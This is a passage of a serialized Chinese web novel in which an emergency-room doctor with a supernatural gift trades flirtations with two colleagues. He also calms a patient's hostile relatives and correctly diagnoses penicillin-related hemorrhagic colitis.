张珈榕抱了抱手臂，丝绸面料顺着这个动作滑落，露出右肩一小片肌肤，在暖光下像新剥的杏仁般细腻。 "要变天了。"方晓听见自己说。他的视线掠过她肩头，落在远处玻璃上两人的模糊倒影上。那影像里，他们的距离似乎比现实中近得多。 张珈榕转身去关阳台门时，家居服贴着她的背部曲线流淌。方晓注意到她后腰处有一道衣褶始终没有抚平，随着她的动作时隐时现，像一道等待被触碰的折痕。 "伞。"她回来时手里多了一把黑色长柄伞，递过来的动作让两人的小指在伞柄上短暂相触。冰凉的金属部件上，那一小块接触面突然变得温热。 方晓接过时，伞骨发出"咔"的轻响。张珈榕的嘴角跟着轻轻动了一下，像是要说什么，最终却只是将一缕头发别到耳后。那颗藏在发间的耳钉又闪了一下，这次他看清是枚小小的月亮。 电梯到达的提示音从楼道传来。张珈榕的手指无意识地摩挲着门框边缘，指甲与金属碰撞发出几乎听不见的轻叩声。方晓发现她今天涂了透明的指甲油，在某个角度会泛起极淡的珠光。 "明天见。"他说。 张珈榕点点头，倚在门框上的身姿像一幅未干的水彩画，随时可能留下印记。 当电梯"叮"地一声到达时，她微微前倾的身体泄露了某种未说出口的挽留，但最终只是轻轻带上了门。 方晓站在走廊上，闻到指尖残留的一丝香气——不是白麝香，而是她最后整理头发时，发丝拂过他手背留下的，更淡更飘忽的味道。 直到最后，两人什么都没说，方晓沉默离开。 自己要不要去进修，走中医的路线？ 方晓认真琢磨着这件事。 他没有回家，而是叫了台车来到医院。 “呜呜呜~~~” 医院走廊里有人在哭，是几个大老爷们，三四十岁的样子，哭的悲伤欲绝。 而他们穿的衣服……方晓一下子怔住。 第109章 小失落 第一百零九章 小失落 几个三四十岁的中年男人穿着浴袍坐在急诊科的走廊里哭。 看他们悲伤欲绝的样子，真是闻者落泪。 一般遇到这种情况都是家里有人去世，可他们身上穿着浴袍，这种情况方晓的确没见过。 “怎么了这是？” 今天是宋雨晴的班，方晓走到宋雨晴身边压低了声音询问。 宋雨晴微微倾身靠近方晓，发梢垂落的瞬间带着若有若无的栀子香气。 她纤白的指尖虚搭在方晓肩头，垫着脚尖，唇瓣几乎要蹭上方晓的耳廓："那几位大哥啊..." 话音裹着蜜糖般的吐息，方晓感觉在蒸腾的浴室回忆里添了分不明的遐想。 她忽然用发尾扫过方晓的脸颊骨，像被风吹乱的蛛丝，在皮肤上挑起细碎的痒。 急诊科走廊的灯光在她睫毛下投出颤动的阴影，藏着未尽话语里那些潮湿的、带着酒气的纠缠。 "后来呢？"方晓好奇的问道。 “后来和服务生吵起来了，然后两面就动了手。有个大哥来的时候还说，那时候没穿衣服，也没穿拖鞋，一走一滑，还有个人直接把头摔破了。” “……”方晓也是第一次听到这种八卦。 在澡堂子里吵架什么的并不多见，可打群架就罕见了。 想起宋雨晴说的事儿，方晓也笑了，画面感满满。 一个光着脚的大哥正在追打别人，忽然脚下一滑，砰的一声摔在地上。 这简直太操蛋了一些。 宋雨晴本来就靠在方晓身边，她忽然又贴近了一些，鼻尖几乎要蹭到方晓的颈侧，像只嗅到花蜜的蝴蝶般轻轻翕动鼻翼。 "方哥..."她尾音拖得绵长，带着几分慵懒与好奇，"你今天身上...怎么有股子香气？" 她的鼻尖几乎要碰到方晓的脖子，像是要确认那若有若无的幽香究竟来自哪里。呼吸温热的拂过方晓的耳后，唇瓣微启时，似笑非笑的弧度带着几分狡黠的试探。 "是沐浴露？还是..."她低低地笑了一声，指尖沿着他的衬衫纽扣缓缓下滑，"哪个姑娘蹭上的香水味？" 声音轻得像是羽毛扫过耳膜，带着一丝危险的甜腻，让人心跳加速。 “有么？”方晓有点心虚。 宋雨晴的问题让方晓想起了张珈榕和高露，他的手指微微动了一下，仿佛按在腰窝上，那种触感温和细腻，久久不能忘怀。 “方哥，你有女朋友了？”宋雨晴低声问道。 “没有呢。”方晓直接否认，但旋即说道，“我准备出去进修。” “啊！”宋雨晴有些失望，她怔怔的看着方晓，“去哪啊，去多久？” “还不知道。”方晓叹了口气，“在科里面我只能出120急救，没什么机会。” 这倒也是，虽然聂医生提议说方晓可以去楼上住院部帮忙，但怎么都是帮忙，名不正言不顺。 毕竟是在急诊科，还有一堆患者，宋雨晴也不好说太多。 方晓换了衣服跟着处理患者，凌晨12点，方晓做了新的符箓。 最近倒是没有可以复制的疾病，也没有什么麻烦，方晓注意力都在要不要去进修上。 “医生，医生！” 一个，不，一群惨厉的喊声从走廊尽头传过来。 方晓马上迎上去。 是一个20多岁的年轻男患，他躺在平车上，抱着肚子，哎呦哎呦的喊疼。 “白山乡医院转诊的患者。”随车来的120医生自报家门，“患者腹部疼痛2天，我们做了所有检查，都没发现有问题。” 方晓看了一眼，患者疼的脸色惨白惨白的，身上的衣服都湿了。 他马上叫起急诊内科值班医生。 询问后得知患者2天前无明显诱因出现腹部疼痛，b超、ct等检查都没发现有内脏破裂或是肿瘤之类的，但患者的疼痛剧烈，根本忍住不。 在白山乡医院给患者用了两针杜冷丁，可即便是杜冷丁在患者身上效果也不是很明显。 所以只能转诊到上级医院来。 急诊内科医生正在问诊，外面传来一片乱糟糟的声音，似乎是四轮子、拖拉机的引擎声。 很快，十几个男人手里拿着镐把子之类的东西冲进来。 方晓心中一怔，这是特么的患者家属！ 患者年轻，治了2天没见好，所以转到上级医院来就诊。患者家属以为患者要死了，直接带人过来。 方晓心中无语，这特么的，都什么事儿。 “你们！”急诊内科医生有点慌，他做了个手势，示意护士去给院里打电话。 “我们在乡医院治病，怎么直接就转到市里来了！”为首的一名老汉指着白山乡的医生责问道。 方晓汗流浃背。 原来下级医院的医生怕的厉害，“私自”把患者给转过来。 还能这么做！这也太小白了吧。 白山乡医院的医生被吓的脸色惨白，他想解释什么，可最后没说出口，站在一边瑟瑟发抖。 没办法，方晓只好陪着急诊内科医生去和患者家属解释。 都是同行，也不能说那位有什么大错，只能做了相应的解释，让患者家属把注意力放在病情上。 看了影像资料以及采血化验的回报，急诊内科医生傻了眼。 什么事儿都没有，患者的检查结果就像是好人一样。 可他疼的太厉害，肉眼可见的无法忍受。 急诊内科医生一下子麻了爪。 “砰~”棍子狠狠地戳在地上，砸的医院大理石地面发出一声巨响。 “你们，就知道骗人！”为首的老汉愤怒的吼道。 方晓知道这时候说啥都不好用，那老汉心里面已经有了成见。 可到底是什么病呢？ 趁着急诊内科医生去和患者家属沟通的档口，方晓开始重新阅片，并把所有资料都照相发到群里面。 这次，似乎群里面的大佬们也遇到了难题，很久很久都没人说话。 过了足足十几分钟，方晓终于看见有一条回复。 【会不会是腹型癫痫？】 【应该不会，腹型癫痫是一种罕见的局灶性癫痫发作类型，多见于儿童，成年人病例较少。其特点是反复发作的腹痛，常被误诊为胃肠道疾病，但实际由大脑异常放电引起。 问题是腹型癫痫不会疼这么久。】 第110章 急诊室的醋味（上） 第一百一十章 急诊室的醋味（上） 的确，腹型癫痫不会持续2天时间，一般来讲时间都比较短。 “方医生，你还在忙啊。” 一个熟悉的声音传过来。 急诊室的灯光在午夜变得暧昧不清，消毒水的气味里混入了她身上若有若无的栀子香。 张珈榕的白大褂微微敞开，露出里面贴身的黑色丝绸衬衫，衣领处的扣子不知何时松了一颗，隐约可见精致的锁骨线条。 "张科长，你？怎么来了。"方晓的喉结滚动了一下，目光不受控制地顺着她修长的颈线往下滑。 不久之前，张珈榕和高露刚推拿完，趴在床上的画面无可救药的又一次出现在方晓眼前。 张珈榕突然向前一步，高跟鞋清脆地敲击地面，她靠在方晓身边，姿势有些亲昵。 “给我讲讲怎么回事，外面闹的很凶。”张珈榕道。 张珈榕的声音压得很低，带着一丝刚睡醒的微哑，像是羽毛轻轻搔过耳膜。 她靠得极近，白大褂下隐约透出裙子的轮廓——显然来得匆忙，连衣服都没来得及换。 方晓刚要开口，一缕散落的发丝忽然被空调的风拂起，轻轻扫过他的脸颊。 那发丝带着夜风的凉意，又沾着她身上残留的沐浴露香气，若有若无地撩拨着他的皮肤。 痒意顺着脸颊蔓延，像是被某种柔和温暖的小动物蹭过，让人忍不住想伸手捉住那缕调皮的青丝。 张珈榕似乎也察觉到了，却没有立即拨开。 她微微偏头，任由发尾在方晓的颈侧流连，指尖却若无其事地翻着病历本："嗯？怎么不说了？" 她的声音里带着一丝慵懒的催促，眼尾微微上扬，在灯光下投出暧昧的阴影。 方晓的喉结滚动了一下，目光不自觉地追随着她耳边那缕不安分的头发——它正随着她的呼吸轻轻晃动，时而擦过她微红的耳垂，时而拂过她纤细的锁骨，最后又顽皮地扫回他的下巴。 不知是不是感觉错误，方晓发现空调的风忽然变向，将张珈榕身上的香气彻底送了过来。不是往日的冷调香水，而是更温暖的、带着体温的沐浴液味道，混着一丝夜风的清冽，像是她刚从被里匆匆起身时裹挟而来的气息，有她的，也有高露的。 “患者无名原因腹部疼痛2天……”方晓听到外面的吵闹声，心思冷静下来，开始讲述病情。 张珈榕忽然抬手，却不是拨开头发，而是用指尖轻轻将那缕发丝绕到耳后。指甲若有似无地擦过他的脸颊，留下一道转瞬即逝的温热触感。 "继续。"她低声道，唇边勾起一抹似有若无的笑，"我听着呢。" “……”方晓无语。 在这种情况下，自己要怎么讲述！？ 张科长也太过分了吧。 忽然，方晓感觉张珈榕的身子毫无预兆地靠了过来，半边重量都压在他肩上。 她身上那件真丝裙子的触感透过薄薄的白大褂传来，柔和得像一捧融化的雪。 "嗯...你接着说..."她的声音带着浓浓的倦意，额头抵在他肩头轻轻蹭了蹭，像只闹脾气的猫。 发顶几缕翘起的发丝随着动作摩挲着他的下颌，带着被窝里暖烘烘的慵懒气息。 方晓僵在原地。 空调风掠过时，张珈榕后颈散落的碎发被吹开，露出下面一小片泛着珍珠光泽的肌肤——那里还留着枕头的压痕。 "张科长...？"不知不觉，方晓的声音发紧，紧的让他觉得陌生。 "吵死了..."她突然往他颈窝里埋得更深，温热的鼻息直接喷洒在他突起的喉结上。带着起床气的嘟囔声震得他锁骨发麻："高露今天特意来陪我...结果半夜被叫醒..." 张珈榕的膝盖不知何时顶进了他右腿腘窝位置，隔着西裤面料传来惊人的热度。 涂着白色甲油的脚趾从凉拖里溜出来，若有似无地勾着他的裤脚。 白大褂下摆随着动作掀起，露出睡裙开衩处一闪而过的雪白大腿——那里还印着睡衣褶皱的红痕。 远处突然传来砸东西的巨响。 她浑身一颤，整个人下意识往方晓的怀里又靠了一下。 方晓清晰感觉到绵软的触感重重压在后背上，溢出的暖香瞬间灌满他的呼吸。 "继续汇报啊。"她仰起脸命令道，眼睛里还蒙着睡意氤氲的水雾，可膝盖却威胁性地往上顶了顶，"还是说...方医生现在有更紧急的...情况要处理？" “……”方晓无语。 很明显张珈榕张科长是把一腔子的无名怒火都撒在自己头上，又或者是她觉得没什么事儿，在逗自己玩。 方晓努力无视张珈榕的存在，开始说患者的病情以及鉴别诊断，包括刚刚群里面被否定的【腹型癫痫】。 张珈榕似笑非笑，不知从何时开始，冰山一样的她在面对方晓的时候温暖了少许。 “是这样啊，乡医院的医生估计忙懵了，我去问问情况，你跟我一起么。” “好。” 方晓连忙应道。 跟在张珈榕身后往出走，方晓被一只温暖的小手拉住。 宋雨晴给方晓使了个眼神，方晓下意识放慢脚步。 “怎么了雨晴？”方晓问。 宋雨晴的指尖轻轻勾住方晓的袖口，柔和的指腹若有似无地摩挲过他手腕内侧的那寸肌肤。 也不知道是不是故意的，方晓感觉宋雨晴的动作有点大，和之前的她不一样。 宋雨晴突然贴近，发丝间淡淡的身体的甜香混着急诊室特有的消毒水味，在方晓鼻尖缠绕成一种奇异的蛊惑。 "嘘——"她竖起一根手指抵在自己唇间，饱满的唇瓣在冷白灯光下泛着水润的光泽，像是某种无声的邀请。 方晓不自觉地放慢呼吸，任由她将他拉进两排储物柜之间的阴影里。她的体温透过单薄的护士服传来，膝盖似有若无地蹭过他的大腿外侧，激起一阵微妙的涟漪。 "方哥..."她踮起脚尖，呼吸带着薄荷糖的清凉拂过他耳垂，"张科长今天...特别好看是不是？" 尾音像把小钩子，在昏暗处闪着危险的光。 这都是哪跟哪。 方晓无言以对。 第111章 急诊室的醋味儿（下） 第一百一十一章 急诊室的醋味儿（下） 远处有人说话的声音突然逼近，可宋雨晴非但不退，反而又往柜子中间蹭了蹭。 这里的空间相当狭小，宋雨晴几乎贴在方晓身上。 方晓的手下意识扶住她腰肢，隔着一层布料都能感受到那截肌肤惊人的柔韧度。 宋雨晴的眼神暗了下来，红唇微微抿紧。 她刚刚分明看见张珈榕的发丝擦过方晓的脸颊，看见他喉结滚动时眼底闪过的暗色——而现在，她故意将自己卡进方晓与储物架之间，近得能闻到他身上残留的、属于另一个女人的淡香。 "方哥身上……"她指尖划过他的领口，将张珈榕留下的那根长发轻轻捻起，在灯光下晃了晃，"沾了不该沾的东西呢。" 方晓无言以对。 他已经能闻到那种浓浓的醋味。 可这真是莫名其妙，怎么宋雨晴这个小家伙也开始捣乱了呢。 正想着，宋雨晴突然踮起脚尖，红唇几乎贴上方晓的耳垂："我帮你...弄干净好不好？" 急诊室外外传来张珈榕呼唤方晓的声音，方晓看着宋雨晴，叹了口气。 他的手掐在宋雨晴的腰上。 宋雨晴的腰很细，仿佛一只手就能攥住。 方晓的掌心贴在她腰窝凹陷处，指尖隔着白服微微陷进温暖的肌肤里。 宋雨晴的腰比他想象的还要纤细，仿佛稍一用力就能折断。 方晓的拇指无意识地摩挲着她腰间一小片肌肤，那里的温度在昏暗的储物间里烫得惊人。 哪怕隔着衣服都能清晰的感觉到。 "张科长在找你呢。"她仰起脸，嘴唇几乎擦过他的下巴，说话时吐息带着甜腻的果香，"你还不去？" 方晓的手紧了紧，掌下的腰肢随着呼吸轻轻起伏，像一尾被网住的鱼。他的指尖顺着她脊椎的曲线缓缓上移，隔着单薄的衣料能感受到她微微颤抖的背肌。 宋雨晴忽然踮起脚尖，发丝擦过他绷紧的下颌线："怎么，舍不得松手？"她的膝盖若有似无地蹭过他的大腿，白服随着动作掀起一阵带着香水味的风。 只是宋雨晴的动作充满了生涩，她在模仿张珈榕。 年纪差了那么多，无论宋雨晴怎么模仿，都带着一种青涩感。 宋雨晴的动作忽然一滞，指尖微微发颤。 她学得那样认真——模仿张珈榕撩发的角度，模仿她吐息的节奏，甚至学她咬唇时眼尾轻挑的弧度。 可青涩终究藏不住，她的膝盖顶进来时力道没控制好，撞得方晓闷哼一声；发丝擦过他下颌线的时候，宋雨晴自己反倒先红了耳尖。 方晓忽然低笑，掌心贴上她后腰的凹陷。 【玄灵推拿术】的气劲透过薄衫，精准碾过她紧绷的腰肌。 "唔...！"宋雨晴猛地弓起背脊，像被捏住后颈的猫儿。 推拿术的暗劲在穴位里炸开细小的电流，她猝不及防软了腿，整个人跌进方晓的怀里。 当宋雨晴的鼻尖撞上他胸膛时，那股清冽的推拿药油味混着张珈榕残留的香水，熏得她眼眶发热。 "方、方哥..."她声音打着飘，方才强装的妩媚碎了一地。 腰窝还被他的拇指抵着画圈，推拿术的热力顺着脊梁往上爬，激得她脚趾在平底鞋里蜷缩，"你轻点，轻点。" 尾音突然变调——因为方晓的指尖突然加重力道，在腰椎某处穴位一按。 宋雨晴整个人弹了一下，双手重重的抓住方晓的胳膊。 储物架上的玻璃瓶随着她的颤抖叮当作响，像在为这场拙劣的诱惑配乐。 远处不知道是谁的脚步声停在门外。 方晓俯身，鼻尖蹭过宋雨晴滚烫的耳垂："继续演啊。"掌心却贴着她的尾椎缓缓下滑，"不是要学张科长...封我的嘴？" 宋雨晴咬住下唇摇头，发丝黏在汗湿的颈侧。此刻她终于明白——有些手段，本就不该用生涩的演技来逞强。 “啊~~~”宋雨晴没忍住叫出了声。 门口的人似乎听到里面的声音，脚步声越来越近，宋雨晴已经急红了脸，可方晓的拇指却在她腰侧危险地画了个圈。 那里是宋雨晴腰肌劳损的位置，这时候正随着方晓指尖的移动泛起细小的涟漪。 "你这里..."他的声音低得几乎听不见，手指轻轻勾住她腰间的系带，"怎么在发抖？" 宋雨晴的呼吸明显乱了一拍，涂着白指甲油的手指攥紧了他的白大褂前襟。储物间的灯光忽明忽暗，在她锁骨投下摇曳的阴影，像一只振翅欲飞的蝶。 方晓撤去【玄灵推拿术】的暗劲儿，宋雨晴紧绷的身体这才放松下来。 “小孩子，别学坏。” 宋雨晴的身子陡然一软，像被抽了骨头的猫儿般瘫在方晓怀里。 她急促的呼吸喷在他颈间，方才被推拿术激出的细汗将鬓发黏在红嫩的脸颊上。 方晓的手掌还贴在她腰际，只是卸去了那股折磨人的暗劲，此刻只剩下温热的触感，透过被揉皱的衣料传递过来。 "谁、谁是小孩子..."她声音发颤，却倔强地仰起脸。 嘴唇因为方才紧咬的缘故，比平时更红艳几分，在昏暗的急诊室里泛着水光。 方晓低笑，拇指抚过她微湿的眼角："学人吃醋的样子，不是小孩子是什么？"指尖顺着她脸颊滑到下颚，轻轻一抬，"这种把戏..." 宋雨晴突然张口，贝齿不轻不重地咬住他作乱的拇指。 舌尖报复性地扫过指腹，然而下一秒，她的动作却微微一滞——舌尖尝到一丝陌生的苦涩。 像是某种药草的余韵，混着淡淡的金属腥气。那味道瞬间在味蕾上炸开，带着不容忽视的存在感，让她下意识松了口，唇间拉出一道几不可见的银丝。 方晓的拇指仍悬在她唇边，指腹上沾着一抹亮亮的光泽。 宋雨晴的睫毛轻颤，舌尖不自觉地舔了舔自己的唇角，像是在确认那残留的滋味。 "……这是什么？"她的声音比平时低了几分，带着一丝不易察觉的轻喘。 方晓没有回答，只是垂眸看着自己的手指。他的指节上还留着几道浅浅的齿痕，在灯光下泛着一种让人心悸的感觉。 宋雨晴的视线不由自主地追随着他的动作，看着他的拇指缓缓擦过他自己的下唇，将那抹亮亮蹭去。她的喉咙微微滚动，呼吸不自觉地屏住—— 那味道，究竟是什么？ 第112章 青霉素导致的肠炎？ 第一百一十二章 青霉素导致的肠炎？ “小孩子别胡闹。”方晓轻轻抱了一下宋雨晴，随后走出储物柜之间狭窄逼仄的地方。 “我不是小孩子，我已经19了！”宋雨晴倔强的说道。 方晓回头看了一眼宋雨晴，伸手整理了一下宋雨晴微乱的发梢，随后走出急诊室。 急诊室门口的患者家属像一堵沉默的墙，带着压抑的敌意。 为首的壮汉双手抱胸，肌肉绷紧的胳膊上青筋鼓起，眼神像刀子一样剐在方晓身上。 他身后站着的女人嘴唇抿成一条苍白的线，指甲无意识地抠着手臂，在皮肤上留下几道红痕。角落里蹲着个年轻人，手机屏幕的光映着他阴郁的脸，时不时抬头投来一记冰冷的瞪视。 空气里飘着廉价烟草和汗液的酸臭味，混合着某种压抑的愤怒。 有人用鞋底碾着地上的烟头，发出令人牙酸的摩擦声。 当方晓走近时，他们不约而同地向前逼近半步，形成个半包围的架势，却没人先开口——那种沉默比叫骂更让人脊背发凉。 抱着孩子的老太太突然啐了口痰，粘稠的唾沫落在方晓鞋尖前三寸处。她浑浊的眼珠里闪着偏执的光："治不好我孙子..."嗓音像是砂纸磨过铁锈，"你们谁都别想好过。" 最后排的平头男人突然踹翻垃圾桶，金属撞击声在走廊炸响。他脖子上挂着条褪色的红绳，下面坠着把折叠军刀的形状。 张珈榕站在汹涌的人群中央，白大褂的衣角被推搡的气流掀起，像一片随时会被撕碎的帆。 她的声音依然平稳，却如同投入深潭的石子，瞬间被吞没在嘈杂的咒骂声中。 患者家属的情绪越发激烈，有人挥舞着皱巴巴的缴费单，纸张边缘擦过她的脸颊，留下一道细微的红痕。 一个满脸横肉的中年妇女突然挤到最前面，染着猩红指甲油的手指几乎戳到张珈榕鼻尖："你们这些穿白大褂的，没一个好东西！"唾沫星子溅在她胸前的工牌上。 张珈榕的背脊依然挺得笔直，但指尖已经悄悄攥紧了病历本的边缘，骨节泛出青白色。她的发髻在推挤中松散了几缕，垂落在苍白的颈侧，随着沉重的呼吸轻轻颤动。 人群外围，一个穿着脏兮兮工装的男人突然举起手机，刺眼的闪光灯对准她不断拍摄："大家看看！这就是见死不救的医生！"他的声音嘶哑兴奋，像钝刀割着所有人的神经。 张珈榕的嘴唇微微开合，似乎还想说什么，却被新一轮的声浪彻底淹没。她的身影在攒动的人头中时隐时现，白大褂渐渐被阴影吞没，仿佛暴风雨中即将倾覆的孤舟。 方晓突然拨开人群，像一柄出鞘的刀劈开汹涌的浪。 他的白大褂下摆扬起凌厉的弧度，肩膀结结实实地挡在了张珈榕前面。 "都冷静点！"他的声音不大，却带着不容置疑的威压。 右手已经按在了急诊呼叫铃上，警报声顿时刺破嘈杂。几个保安从走廊尽头快步跑来。 那个举手机的男人还想往前挤，却被方晓一个侧身挡住。 两人视线相撞的瞬间，方晓的眼神锐利如手术刀，竟逼得对方下意识退后半步。他趁机将张珈榕往身后又护了护，后背能清晰感受到她微微急促的呼吸拂在自己衬衫上。 "有什么问题，我来说。"方晓单手解开白大褂最上面的扣子，露出里面衬衣和领带。 这个动作莫名带着种破釜沉舟的气势，躁动的人群竟短暂地安静了一瞬。 张珈榕在他身后轻轻拽了下他的衣角。 方晓没有回头，但向后伸出的手准确握住了她冰凉的手指，一触即分。这个隐秘的小动作像一剂强心针，他感觉到身后的呼吸渐渐平稳下来。 "现在，"方晓从口袋里掏出原子笔，在病历本上利落地写下什么，"谁要第一个反映情况？"原子笔在纸上顿出一个浓黑的点，像给这场闹剧画下的休止符。 “我孙子就是得了一点小病，咽炎，结果医院越治越重。”老太太厉声说道。 咽炎？ 和腹痛有关系么？ 方晓微微一怔。 不对，一个最近加深印象的知识点出现在方晓的脑海里——口服抗生素导致的出血性肠炎！ 对！ “吃什么抗生素了？”方晓问道。 “啥是抗生素？” “就是消炎药。” “青霉素啊，还能是什么。” 方晓微微倾身，嘴唇几乎贴上张珈榕的耳廓，声音压得极低："张科长，我怀疑是青霉素导致的出血性肠炎。" 温热的吐息裹着淡淡的消毒水味，拂过张珈榕的耳垂。 张珈榕身子一颤，"啊？" 她下意识侧脸，鼻尖险些擦过方晓的下巴。 这个突然的靠近让她闻到他领口残留的须后水气息，清冽中带着一丝雪松木的暖意。 两人的白大褂下摆在混乱中纠缠在一起。 方晓的手指借着病历本的遮掩，悄悄在她手背上点了点，像是在打摩斯密码。 张珈榕垂眸，看见他骨节分明的指尖因为用力而微微发白。 周围都是如狼似虎的患者家属，急诊内科医生与白山乡的医生不见了踪迹。 张珈榕不自觉地往他那边靠了靠。 她的发丝扫过方晓的颈侧，带着夜风般的凉意。在人群视线的盲区，她的原子笔悄悄在方晓的袖口上划了道蓝线——这是他们之间表示"明白"的小暗号。 方晓的嘴角几不可察地扬了扬。他借着调整站姿的动作，手肘轻轻碰了碰她的腰际，像在说"交给我"。 张珈榕的耳尖悄悄红了，在急诊室惨白的灯光下，像是雪地里落了两瓣早春的樱花。 “安排个急诊肠镜。” “你确定是出血性肠炎？”张珈榕小声问道。 方晓点了点头。 在他的脸颊上，有着浓浓的自信。 张珈榕不知道方晓的自信来自何处，青霉素，出血性肠炎，腹部疼痛，这几个词几乎没什么联系。 可张珈榕还是选择相信方晓，先和患者家属简单解释，随后拿起手机开始联系医生。 第113章 诊断，正确！ 第一百一十三章 诊断，正确！ 急诊内科医生推了推眼镜，眉头紧锁："患者是咽炎，口服青霉素导致的肠炎？"他的声音里带着明显的怀疑，手中的病历本啪地合上，"这……也太不合理了吧。” 宋雨晴站在一旁，指尖无意识地卷着白大褂口袋的边缘。 她看了眼远方正在送患者去做检查的方晓，又飞快地移开视线："方医生是这么判断的。而且..." 她的声音渐渐低下去，因为注意到方晓和张珈榕站得极近——他的肩膀几乎贴着她的，两人正在低声交谈什么。 张珈榕突然伸手，很自然地替方晓拂去肩头一根不存在的线头。她的指尖在白大褂上停留的时间似乎比必要长了那么半秒。宋雨晴的嘴角抿得更紧了。 "需要做肠镜确认吗？"急诊医生问。 “方哥说是需要做肠镜，张科长已经联系内镜室的医生连夜赶过来。”宋雨晴一边说着，一边看着马上要转弯消失在视野里的方晓与张珈榕。 张珈榕假装整理头发，实则借着抬手的动作，轻轻碰了碰方晓的后腰。 这个细微的肢体语言没有逃过宋雨晴的眼睛。 她突然把手中的病历板抱在胸前，金属夹子发出清脆的"咔嗒"声。 "我去……给患者换点滴。"宋雨晴转身就走，马尾辫在空中划出一道僵硬的弧线。 走廊的灯光把她的影子拉得很长，孤零零地投在墙上，与身后那对并肩而立的身影形成鲜明对比。 "奇怪啊。"急诊内科医生挠了挠头，完全没注意到方晓和张珈榕之间微妙的气氛，只是盯着化验单皱眉。 "是啊，咽炎，口服消炎药是应该的，可怎么都不会导致肠炎吧？" 白山乡的医生也凑过来，粗糙的手指在病历上点了点，"除非..." 他话没说完，急诊内科医生突然伸手，不着痕迹地接过那张化验单，指尖在某个数据上轻轻一敲—— "患者有青霉素过敏史。" "啊？可病历上没写啊！" 急诊医生瞪大眼睛。 "所以不是肠炎..." 白山乡的医生恍然大悟，"是过敏反应导致的肠道黏膜出血！" “过敏是过敏，你见谁家过敏会导致肠炎的？”急诊内科医生鄙夷道，“你在患者体表发现有红色斑丘疹了么。” 白山乡的医生摇头。 “真是奇怪，难道说小方是为了解围？也不能啊，钻进内镜室，早晚都会出来的。” …… 把患者急诊推进内镜室，换了衣服，张珈榕这才长出了一口气。 刚刚被患者家属围住，张珈榕虽然看起来面不改色，可要是没方晓解围，张珈榕也不知道下一步会变成什么样。 张珈榕靠在内镜室外的墙边，缓缓吐出一口紧绷已久的气。 白大褂已经脱下，换上了深蓝色的手术服，可她的指尖仍有些微不可察的轻颤。 张珈榕低头看着自己的手，忽然扯了扯嘴角——刚才被那群家属围住时，她面上镇定自若，可后背的衬衫早就被冷汗浸透，黏在肌肤上，冰凉一片。 "张科长。"方晓的声音从身后传来，带着一丝难得的温和。他递来一杯热咖啡，杯壁上还凝着水珠，"加了双份糖。" 张珈榕接过，指尖不经意碰到他的手，温度比她想象中要暖。她低头抿了一口，过甜的滋味在舌尖化开，却莫名让她紧绷的神经稍稍放松。 "刚才..."她开口，声音有些哑，又清了清嗓子，"谢了。" 方晓没说话，只是侧身站在她旁边，肩膀若有似无地贴着她的。 这个距离刚刚好——既不会太近让人不适，又足够让她感受到他身上的温度。 内镜室的灯光从门缝漏出来，在他侧脸投下深浅不一的阴影。 "方医生，下一步你准备怎么做？"张珈榕犹豫着问。 “张科长，你先缓一缓，等检查做完再说。” 简单一句话，却让张珈榕握紧了咖啡杯。她突然意识到，自己刚才的紧张、后怕，甚至现在指尖残留的颤抖，原来都被他看在眼里。 走廊尽头传来脚步声，两人不约而同地拉开距离。 但就在人影出现的瞬间，方晓的手在身侧轻轻碰了碰她的——只是一个转瞬即逝的触碰，却比任何言语都让人安心。 脚步声渐近，走廊的感应灯一盏盏亮起，将两人的影子投在墙上，短暂交叠又分开。 张珈榕的指尖还残留着方晓手背的温度，像被阳光晒过的金属，余热未散。她下意识将那只手虚握成拳，藏进白大褂口袋，仿佛这样就能留住那抹转瞬即逝的暖意。 方晓神色如常地喝了口咖啡，喉结滚动时，余光却瞥见张珈榕耳后一缕碎发，随着她低头的动作滑落。 他克制住了伸手替她别到耳后的冲动。 “你这是缓兵之计吧。”张珈榕叹了口气，“我也看了，除了胃肠镜没做，其他检查基本都做了，来咱们医院再做的话也不会有什么新的结果，只能让患者家里多花钱，导致更多的矛盾纠纷。” 方晓微笑，“还是等结果吧。” 手机的微信群里，方晓的结论得到了师兄师姐们的认可，这让方晓相当有信心。 张珈榕背靠着内镜室冰凉的墙壁，瓷砖的寒意透过薄薄的手术服渗入脊背。她微微仰头，后脑抵在墙上，闭上眼睛深吸了一口气。 消毒水的气味里，却混进一缕熟悉的清冽——那是方晓身上特有的气息，混合着医用洗手液和淡淡的雪松须后水的味道。 方晓就站在离她不到半米的地方，肩膀几乎要碰触到她的身体。 即使没有直接接触，她也能感受到从他身上辐射过来的体温，像冬日里一堵挡风的墙，无声地驱散着她周身的寒意。 "累了吗？"方晓的声音很轻，目光依然盯着内镜室的指示灯。 张珈榕微微摇头，发丝在墙上轻轻摩擦。 她睁开眼，发现方晓的侧脸在走廊灯下显得格外分明，下颌线条紧绷着，喉结随着吞咽的动作上下滚动。 她忽然注意到他白大褂领口处有一道褶皱，应该是刚才被患者家属拉扯时留下的。鬼使神差地，她伸手想替他抚平，却在指尖即将触及时停住。 方晓却在这时转过头来。 他的呼吸拂过她悬在半空的手指，温热的，带着咖啡的苦涩香气。两人视线相接的瞬间，内镜室的灯突然由红转绿，机械的提示音打破了这一刻的凝滞。 “出血性肠炎！” 第114章 信我，三天之内肯定好 第一百一十四章 信我，三天之内肯定好 什么？ 张珈榕一下子怔住。 她以为方晓要给患者做胃肠镜是缓兵之计，张珈榕刚缓和了一下心情，要想办法。 没想到内镜室的医生竟然说方晓的诊断是对的！ 这怎么可能！ 方晓直接大步走进内镜室，他尝试了一下，没想到竟然把【出血性肠炎】给复制了过来。 本来方晓也没抱着多大希望，毕竟这病属于自愈性疾病，不去管它的话5天左右痊愈。 来的莫名其妙，走的也莫名其妙，青霉素导致的过敏性肠炎就是这样。 可诊断明确就行么？方晓心里想到。 只是这病似乎不太严重，方晓也觉得没什么用，但复制就不能退回了，只能这样。 “方医生。”张珈榕站在方晓身边，茫然的询问。 “张科长，口服青霉素导致的出血性肠炎属于自限性疾病，已经两天了，3天内就能痊愈。” “啊！”张珈榕愣住。 张珈榕的呼吸突然一滞，方晓不知何时已经贴近她身后，温热的胸膛几乎贴上她的背脊。 他修长的手指从她肩头越过，点在肠镜报告某处——"看这里，黏膜下出血点呈特征性树枝状分布..."他的声音低哑，带着胸腔的震动传递到她紧绷的背上。 "方医生..."她刚要转身，却感觉耳后拂过一阵带着消毒酒精味的气息。 因为刚刚有了轻微的移动，导致方晓的唇几乎贴上她发烫的耳廓："这种出血模式，的确不多见，属于青霉素的罕见并发症。" 他的白大褂下摆擦过她腿侧，布料摩挲发出令人心跳加速的沙沙声。 